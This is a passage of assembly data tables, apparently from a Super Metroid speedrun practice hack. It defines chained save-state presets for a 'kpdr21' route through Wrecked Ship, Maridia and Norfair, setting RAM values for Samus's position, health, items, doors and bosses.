Layer 2 Y position dw $09C2, $00EE ; Health dw $09CA, $0009 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $003B ; Samus X dw $0AFA, $008B ; Samus Y dw $D8C0, $0174 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_pancakes_and_wavers: dw #preset_kpdr21_wrecked_ship_upper_west_ocean ; Wrecked Ship: Upper West Ocean dw $078D, $A1E0 ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $E000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $F800 ; Screen subpixel Y position dw $0915, $01FC ; Screen Y position in pixels dw $0917, $0100 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0102 ; Health dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $02C2 ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr21_wrecked_ship_bowling_spark: dw #preset_kpdr21_wrecked_ship_pancakes_and_wavers ; Wrecked Ship: Pancakes and Wavers dw $078D, $89E2 ; DDB dw $079B, $9461 ; MDB dw $090F, $6800 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $2400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0AF6, $016E ; Samus X dw $0AFA, $009D ; Samus Y dw #$FFFF preset_kpdr21_wrecked_ship_leaving_gravity: dw #preset_kpdr21_wrecked_ship_bowling_spark ; Wrecked Ship: Bowling Spark dw $078D, $A1A4 ; DDB dw $079B, $CE40 ; MDB dw $07F3, $0030 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $3000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $E400 ; Screen subpixel Y position dw $0917, $0001 ; Layer 2 X position dw $09A2, $3125 ; Equipped Items dw $09A4, $3125 ; Collected Items dw $09C2, $00A9 ; Health dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0078 ; Samus X dw $0AFA, $0088 ; Samus Y dw $D880, $00A0 ; Items dw #$FFFF preset_kpdr21_wrecked_ship_moat_ball: dw #preset_kpdr21_wrecked_ship_leaving_gravity ; Wrecked Ship: Leaving Gravity dw $078D, $A300 ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $00E4 ; Screen X position in pixels dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0445 ; Screen Y position in pixels dw $0917, $0072 ; Layer 2 X position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0184 ; Samus X dw $0AFA, $04D0 ; Samus Y dw #$FFFF preset_kpdr21_wrecked_ship_crateria_kihunters_return: dw #preset_kpdr21_wrecked_ship_moat_ball ; Wrecked Ship: Moat Ball dw $078D, $89CA ; DDB dw $079B, $95FF ; MDB dw $090F, $8400 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0007 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0005 ; Layer 2 Y position dw $0AF6, $003B ; Samus X dw $0AFA, $0097 ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_final_red_tower_elevator: dw #preset_kpdr21_wrecked_ship_crateria_kihunters_return ; Wrecked Ship: Crateria Kihunters Return dw $078D, $8B02 ; DDB dw $079B, $A322 ; MDB dw $07F3, $0012 ; Music Bank dw $090F, $F000 ; Screen subpixel X position dw $0915, $0238 ; Screen Y position in pixels dw $0919, $0238 ; Layer 2 Y position dw $09C2, $00BD ; Health dw $09C6, $0012 ; Missiles dw $09CE, $0003 ; Pbs dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $02A8 ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_final_hellway_revisit: dw #preset_kpdr21_red_brinstar_final_red_tower_elevator ; Red Brinstar Final: Red Tower Elevator dw $090F, $C000 ; Screen subpixel X position dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0500 ; Screen Y position in pixels dw $0919, $0500 ; Layer 2 Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0040 ; Samus X dw $0AFA, $058B ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_final_red_tower_down: dw #preset_kpdr21_red_brinstar_final_hellway_revisit ; Red Brinstar Final: Hellway Revisit dw $078D, $90AE ; DDB dw $079B, $A2F7 ; MDB dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00B5 ; Health dw $0AF6, $003D ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_final_skree_boost_final: dw #preset_kpdr21_red_brinstar_final_red_tower_down ; Red Brinstar Final: Red Tower Down dw $078D, $907E ; DDB dw $079B, $A253 ; MDB dw $090F, $A001 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $091A ; Screen Y position in pixels dw $0919, $06D3 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0054 ; Samus X dw $0AFA, $098B ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_final_below_spazer_final: dw #preset_kpdr21_red_brinstar_final_skree_boost_final ; Red Brinstar Final: Skree Boost Final dw $078D, $9042 ; DDB dw $079B, $A3DD ; MDB dw $090F, $5FFF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $4400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00B4 ; Health dw $0AF6, $01DC ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_maridia_breaking_tube: dw #preset_kpdr21_red_brinstar_final_below_spazer_final ; Red Brinstar Final: Below Spazer Final dw $078D, $911A ; DDB dw $079B, $CF54 ; MDB dw $09D2, $0003 ; Currently selected item dw $090F, $E000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $7400 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09CA, $000A ; Supers dw $0AF6, $002D ; Samus X dw #$FFFF preset_kpdr21_maridia_fish_tank: dw #preset_kpdr21_maridia_breaking_tube ; Maridia: Breaking Tube dw $078D, $A330 ; DDB dw $079B, $CFC9 ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $4FFF ; Screen subpixel X position dw $0911, $00FE ; Screen X position in pixels dw $0913, $C000 ; Screen subpixel Y position dw $0915, $05F4 ; Screen Y position in pixels dw $0917, $00BE ; Layer 2 X position dw $0919, $0477 ; Layer 2 Y position dw $09CE, $0002 ; Pbs dw $09D2, $0000 ; Currently selected item dw $0AF6, $0167 ; Samus X dw $0AFA, $068B ; Samus Y dw $D820, $0801 ; Events dw #$FFFF preset_kpdr21_maridia_mt_everest: dw #preset_kpdr21_maridia_fish_tank ; Maridia: Fish Tank dw $078D, $A3F0 ; DDB dw $079B, $D0B9 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $BC00 ; Screen subpixel Y position dw $0915, $031F ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0257 ; Layer 2 Y position dw $0AF6, $017C ; Samus X dw $0AFA, $03BB ; Samus Y dw #$FFFF preset_kpdr21_maridia_crab_shaft: dw #preset_kpdr21_maridia_mt_everest ; Maridia: Mt Everest dw $090F, $E000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $9C01 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0079 ; Health dw $0AF6, $05C0 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_maridia_aqueduct: dw #preset_kpdr21_maridia_crab_shaft ; Maridia: Crab Shaft dw $078D, $A468 ; DDB dw $079B, $D1A3 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $83FF ; Screen subpixel Y position dw $0915, $0300 ; Screen Y position in pixels dw $0917, $0100 ; Layer 2 X position dw $0919, $0240 ; Layer 2 Y position dw $09CA, $0009 ; Supers dw $09D2, $0003 ; Currently selected item dw $0AF6, $01AD ; Samus X dw $0AFA, $038B ; Samus Y dw $D8C0, $8174 ; Doors dw #$FFFF preset_kpdr21_maridia_botwoon_hallway: dw #preset_kpdr21_maridia_aqueduct ; Maridia: Aqueduct dw $078D, $A4C8 ; DDB dw $079B, $D5A7 ; MDB dw $07F5, $0005 ; Music Track dw $090F, $A000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $4000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09CE, $0001 ; Pbs dw $09D2, $0000 ; Currently selected item dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $009D ; Samus X dw $0AFA, $006B ; Samus Y dw #$FFFF preset_kpdr21_maridia_botwoon: dw #preset_kpdr21_maridia_botwoon_hallway ; Maridia: Botwoon Hallway dw $078D, $A72C ; DDB dw $079B, $D617 ; MDB dw $090F, $DFFF ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $5800 ; Screen subpixel Y position dw $0917, $0240 ; Layer 2 X position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $03A4 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_maridia_botwoon_etank: dw #preset_kpdr21_maridia_botwoon ; Maridia: Botwoon dw $078D, $A774 ; DDB dw $079B, $D95E ; MDB dw $07F3, $002A ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $4000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $C000 ; Screen subpixel Y position dw $0917, $0100 ; Layer 2 X position dw $09C2, $00A1 ; Health dw $09C6, $0014 ; Missiles dw $09CA, $0003 ; Supers dw $09CE, $0002 ; Pbs dw $0AF6, $01C6 ; Samus X dw $D82C, $0002 ; Bosses dw #$FFFF preset_kpdr21_maridia_halfie_setup: dw #preset_kpdr21_maridia_botwoon_etank ; Maridia: Botwoon E-tank dw $078D, $A918 ; DDB dw $079B, $D7E4 ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0005 ; Music Track dw $0911, $0000 ; Screen X position in pixels dw $0913, $4400 ; Screen subpixel Y position dw $0915, $001F ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $001F ; Layer 2 Y position dw $09C2, $018F ; Health dw $09C4, $018F ; Max health dw $0AF6, $008D ; Samus X dw $0AFA, $009B ; Samus Y dw $D882, $0100 ; Items dw #$FFFF preset_kpdr21_maridia_draygon: dw #preset_kpdr21_maridia_halfie_setup ; Maridia: Halfie Setup dw $078D, $A7F8 ; DDB dw $079B, $D78F ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0913, $E400 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0919, $0180 ; Layer 2 Y position dw $09C2, $0110 ; Health dw $09CA, $0001 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0041 ; Samus X dw $0AFA, $028B ; Samus Y dw $D8C2, $0C00 ; Doors dw #$FFFF preset_kpdr21_maridia_reverse_halfie_spikesuit: dw #preset_kpdr21_maridia_draygon ; Maridia: Draygon dw $078D, $A96C ; DDB dw $090F, $6000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09A2, $3325 ; Equipped Items dw $09A4, $3325 ; Collected Items dw $09C2, $00BA ; Health dw $09C6, $000D ; Missiles dw $09CA, $0005 ; Supers dw $09CE, $0003 ; Pbs dw $0A68, $0001 ; Flash suit dw $0AF6, $0044 ; Samus X dw $0AFA, $008B ; Samus Y dw $D82C, $0003 ; Bosses dw $D882, $0500 ; Items dw $D8C2, $CC00 ; Doors dw #$FFFF preset_kpdr21_maridia_womple_jump: dw #preset_kpdr21_maridia_reverse_halfie_spikesuit ; Maridia: Reverse Halfie (Spikesuit) dw $0A68, $0000 ; Flash suit dw #$FFFF preset_kpdr21_maridia_cac_alley_east: dw #preset_kpdr21_maridia_womple_jump ; Maridia: Womple Jump dw $078D, $A7E0 ; DDB dw $079B, $D913 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0915, $011A ; Screen Y position in pixels dw $09C2, $00BA ; Health dw $0919, $011A ; Layer 2 Y position dw $09C2, $004A ; Health dw $09C6, $000C ; Missiles dw $0A68, $0000 ; Flash suit dw $0AF6, $0030 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8C2, $DC00 ; Doors dw #$FFFF preset_kpdr21_maridia_cac_alley_west: dw #preset_kpdr21_maridia_cac_alley_east ; Maridia: Cac Alley East dw $078D, $A900 ; DDB dw $079B, $DA2B ; MDB dw $090F, $B000 ; Screen subpixel X position dw $0915, $0002 ; Screen Y position in pixels dw $0919, $0002 ; Layer 2 Y position dw $09C6, $000B ; Missiles dw $09CA, $0007 ; Supers dw $0AF6, $005B ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_maridia_plasma_spark: dw #preset_kpdr21_maridia_cac_alley_west ; Maridia: Cac Alley West dw $078D, $A93C ; DDB dw $079B, $D5EC ; MDB dw $090F, $2000 ; Screen subpixel X position dw $0913, $7400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09CA, $0008 ; Supers dw $0AF6, $0024 ; Samus X dw $0AF6, $001F ; Samus X dw #$FFFF preset_kpdr21_maridia_plasma_climb: dw #preset_kpdr21_maridia_plasma_spark ; Maridia: Plasma Spark dw $078D, $A750 ; DDB dw $079B, $D340 ; MDB dw $090F, $FFFF ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $8C00 ; Screen subpixel Y position dw $0915, $00F3 ; Screen Y position in pixels dw $0917, $01C0 ; Layer 2 X position dw $0919, $00F3 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $027F ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_maridia_plasma_beam: dw #preset_kpdr21_maridia_plasma_climb ; Maridia: Plasma Climb dw $078D, $A5DC ; DDB dw $079B, $D27E ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $0AF6, $0095 ; Samus X dw $0AFA, $008B ; Samus Y dw $D8C2, $DC08 ; Doors dw #$FFFF preset_kpdr21_maridia_plasma_spark_revisit: dw #preset_kpdr21_maridia_plasma_beam ; Maridia: Plasma Beam dw $078D, $A540 ; DDB dw $079B, $D387 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $031A ; Screen Y position in pixels dw $0919, $0253 ; Layer 2 Y position dw $09A6, $1009 ; Beams dw $09A8, $1009 ; Beams dw $09C2, $00A4 ; Health dw $09C6, $0011 ; Missiles dw $09CE, $0002 ; Pbs dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0025 ; Samus X dw $0AFA, $038B ; Samus Y dw $D880, $80A0 ; Items dw $D8C2, $DC0A ; Doors dw #$FFFF preset_kpdr21_maridia_toilet: dw #preset_kpdr21_maridia_plasma_spark_revisit ; Maridia: Plasma Spark Revisit dw $078D, $A5D0 ; DDB dw $079B, $D340 ; MDB dw $0911, $002E ; Screen X position in pixels dw $0913, $0800 ; Screen subpixel Y position dw $0915, $021F ; Screen Y position in pixels dw $0917, $0028 ; Layer 2 X position dw $0919, $021F ; Layer 2 Y position dw $09C2, $00A9 ; Health dw $09CA, $0009 ; Supers dw $0AF6, $00A3 ; Samus X dw $0AFA, $02AB ; Samus Y dw $D8C2, $DC1A ; Doors dw #$FFFF preset_kpdr21_maridia_sewers: dw #preset_kpdr21_maridia_toilet ; Maridia: Toilet dw $078D, $A600 ; DDB dw $079B, $D48E ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $3000 ; Screen subpixel Y position dw $0915, $011C ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00D5 ; Layer 2 Y position dw $0AF6, $00BB ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_maridia_lower_maridia_gate: dw #preset_kpdr21_maridia_sewers ; Maridia: Sewers dw $078D, $A528 ; DDB dw $079B, $D21C ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0913, $5C00 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $0100 ; Layer 2 Y position dw $09C2, $00AE ; Health dw $09CE, $0005 ; Pbs dw $0AF6, $002E ; Samus X dw #$FFFF preset_kpdr21_upper_norfair_revisit_ice_beam_gates: dw #preset_kpdr21_maridia_lower_maridia_gate ; Maridia: Lower Maridia Gate dw $078D, $9246 ; DDB dw $079B, $A7DE ; MDB dw $07F3, $0015 ; Music Bank dw $090F, $4000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0326 ; Screen Y position in pixels dw $0919, $025C ; Layer 2 Y position dw $09CA, $0007 ; Supers dw $0AF6, $0032 ; Samus X dw $0AFA, $0395 ; Samus Y dw $D8B8, $2EED ; Doors dw #$FFFF preset_kpdr21_upper_norfair_revisit_ice_maze_up: dw #preset_kpdr21_upper_norfair_revisit_ice_beam_gates ; Upper Norfair Revisit: Ice Beam Gates dw $078D, $931E ; DDB dw $079B, $A75D ; MDB dw $0913, $1800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $0AF6, $0025 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_ice_maze_down: dw #preset_kpdr21_upper_norfair_revisit_ice_maze_up ; Upper Norfair Revisit: Ice Maze Up dw $078D, $937E ; DDB dw $079B, $A890 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $5000 ; Screen subpixel X position dw $0913, $7000 ; Screen subpixel Y position dw $0917, $0001 ; Layer 2 X position dw $09A6, $100B ; Beams dw $09A8, $100B ; Beams dw $09C2, $00BD ; Health dw $0AF6, $00BA ; Samus X dw $D876, $01A5 ; Items dw #$FFFF preset_kpdr21_upper_norfair_revisit_ice_escape: dw #preset_kpdr21_upper_norfair_revisit_ice_maze_down ; Upper Norfair Revisit: Ice Maze Down dw $078D, $935A ; DDB dw $079B, $A8B9 ; MDB dw $07F5, $0005 ; Music Track dw $090F, $E000 ; Screen subpixel X position dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00C5 ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_purple_shaft_upper: dw #preset_kpdr21_upper_norfair_revisit_ice_escape ; Upper Norfair Revisit: Ice Escape dw $078D, $971A ; DDB dw $079B, $ACB3 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0913, $E800 ; Screen subpixel Y position dw $0915, $0300 ; Screen Y position in pixels dw $0919, $0240 ; Layer 2 Y position dw $0AF6, $0036 ; Samus X dw $0AFA, $038B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_magdollite_tunnel_upper: dw #preset_kpdr21_upper_norfair_revisit_purple_shaft_upper ; Upper Norfair Revisit: Purple Shaft (Upper) dw $078D, $9576 ; DDB dw $079B, $AEDF ; MDB dw $090F, $B001 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $01F4 ; Screen Y position in pixels dw $0919, $0177 ; Layer 2 Y position dw $0AF6, $0059 ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_kronic_boost_upper: dw #preset_kpdr21_upper_norfair_revisit_magdollite_tunnel_upper ; Upper Norfair Revisit: Magdollite Tunnel (Upper) dw $078D, $96BA ; DDB dw $079B, $AEB4 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $0AF6, $02B7 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_croc_speedway_lower: dw #preset_kpdr21_upper_norfair_revisit_ice_escape ; Upper Norfair Revisit: Ice Escape dw $078D, $9336 ; DDB dw $079B, $A8F8 ; MDB dw $090F, $6781 ; Screen subpixel X position dw $0913, $0800 ; Screen subpixel Y position dw $0915, $0300 ; Screen Y position in pixels dw $0919, $0240 ; Layer 2 Y position dw $0AF6, $00DD ; Samus X dw $0AFA, $038B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_spiky_acid_snakes_lower: dw #preset_kpdr21_upper_norfair_revisit_croc_speedway_lower ; Upper Norfair Revisit: Croc Speedway (Lower dw $078D, $93C6 ; DDB dw $079B, $AFCE ; MDB dw $090F, $A000 ; Screen subpixel X position dw $0911, $02A3 ; Screen X position in pixels dw $0913, $7400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $01FA ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $0AF6, $030E ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_revisit_kronic_boost_lower: dw #preset_kpdr21_upper_norfair_revisit_spiky_acid_snakes_lower ; Upper Norfair Revisit: Spiky Acid Snakes (Lower) dw $078D, $9792 ; DDB dw $079B, $AFFB ; MDB dw $090F, $B000 ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $8C00 ; Screen subpixel Y position dw $0917, $0240 ; Layer 2 X position dw $09D2, $0003 ; Currently selected item dw $0AF6, $03BC ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_ln_main_hall: dw #preset_kpdr21_upper_norfair_revisit_kronic_boost_upper ; Upper Norfair Revisit: Kronic Boost (Upper) dw $078D, $96F6 ; DDB dw $079B, $B236 ; MDB dw $07F3, $0018 ; Music Bank dw $090F, $E000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $0300 ; Layer 2 X position dw $0919, $0301 ; Layer 2 Y position dw $09C2, $00BA ; Health dw $09CE, $0004 ; Pbs dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0480 ; Samus X dw $0AFA, $0288 ; Samus Y dw $D8BA, $01F1 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_prepillars: dw #preset_kpdr21_lower_norfair_ln_main_hall ; Lower Norfair: LN Main Hall dw $090F, $9000 ; Screen subpixel X position dw $0911, $0700 ; Screen X position in pixels dw $0913, $E400 ; Screen subpixel Y position dw $0917, $0540 ; Layer 2 X position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $07A2 ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_fast_pillars_setup: dw #preset_kpdr21_lower_norfair_prepillars ; Lower Norfair: Pre-Pillars dw $078D, $985E ; DDB dw $079B, $B3A5 ; MDB dw $090F, $8001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $7000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $09C6, $0013 ; Missiles dw $09CE, $0005 ; Pbs dw $0AF6, $0025 ; Samus X dw #$FFFF preset_kpdr21_lower_norfair_worst_room_in_the_game: dw #preset_kpdr21_lower_norfair_fast_pillars_setup ; Lower Norfair: Fast Pillars Setup dw $078D, $9912 ; DDB dw $079B, $B457 ; MDB dw $090F, $64FF ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $F800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0240 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0070 ; Health dw $0AF6, $03DB ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_amphitheatre: dw #preset_kpdr21_lower_norfair_worst_room_in_the_game ; Lower Norfair: Worst Room in the Game dw $078D, $994E ; DDB dw $079B, $B4AD ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0915, $011D ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00D5 ; Layer 2 Y position dw $09C2, $0084 ; Health dw $09CE, $0004 ; Pbs dw $09D2, $0000 ; Currently selected item dw $0AF6, $00A7 ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_kihunter_stairs_down: dw #preset_kpdr21_lower_norfair_amphitheatre ; Lower Norfair: Amphitheatre dw $078D, $997E ; DDB dw $079B, $B4E5 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0282 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0043 ; Screen Y position in pixels dw $0917, $01E1 ; Layer 2 X position dw $0919, $0032 ; Layer 2 Y position dw $0AF6, $02E2 ; Samus X dw $0AFA, $00B3 ; Samus Y dw #$FFFF preset_kpdr21_lower_norfair_wasteland: dw #preset_kpdr21_lower_norfair_kihunter_stairs_down ; Lower Norfair: Kihunter Stairs Down dw $078D, $99A2 ; DDB dw $079B, $B585 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0915, $0419 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0312 ; Layer 2 Y position dw $09C2, $00AC ; Health dw $09CE, $0002 ; Pbs dw $0A1C, $001D ; Samus position/state dw $0A1E, $0408 ; More position/state dw $0AF6, $0248 ; Samus X dw $0AFA, $0489 ; Samus Y dw $D8BA, $41F1 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_metal_ninja_pirates: dw #preset_kpdr21_lower_norfair_wasteland ; Lower Norfair: Wasteland dw $078D, $99EA ; DDB dw $079B, $B5D5 ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0915, $021B ; Screen Y position in pixels dw $09C2, $0087 ; Health dw $09CA, $0006 ; Supers dw $09CE, $0001 ; Pbs dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0168 ; Samus X dw $0AFA, $028B ; Samus Y dw $D8BA, $C1F1 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_plowerhouse: dw #preset_kpdr21_lower_norfair_metal_ninja_pirates ; Lower Norfair: Metal Ninja Pirates dw $078D, $9A1A ; DDB dw $079B, $B62B ; MDB dw $090F, $7000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $CC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0122 ; Health dw $09C6, $0014 ; Missiles dw $09CA, $0009 ; Supers dw $0AF6, $006A ; Samus X dw $0AFA, $00BB ; Samus Y dw $D8BC, $0001 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_ridley: dw #preset_kpdr21_lower_norfair_plowerhouse ; Lower Norfair: Plowerhouse dw $078D, $995A ; DDB dw $079B, $B37A ; MDB dw $090F, $2000 ; Screen subpixel X position dw $0913, $5000 ; Screen subpixel Y position dw $09C2, $00E3 ; Health dw $09CA, $0008 ; Supers dw $0AF6, $003D ; Samus X dw $0AFA, $009B ; Samus Y dw $D8BA, $D1F1 ; Doors dw #$FFFF preset_kpdr21_lower_norfair_leaving_ridley: dw #preset_kpdr21_lower_norfair_ridley ; Lower Norfair: Ridley dw $078D, $98CA ; DDB dw $079B, $B32E ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $3C00 ; Screen subpixel Y position dw $0915, $011F ; Screen Y position in pixels dw $0917, $0001 ; Layer 2 X position dw $0919, $00D7 ; Layer 2 Y position dw $09C2, $00D9 ; Health dw $09CA, $000A ; Supers dw $09CE, $0003 ; Pbs dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0057 ; Samus X dw $0AFA, $019B ; Samus Y dw $D82A, $0101 ; Bosses dw #$FFFF 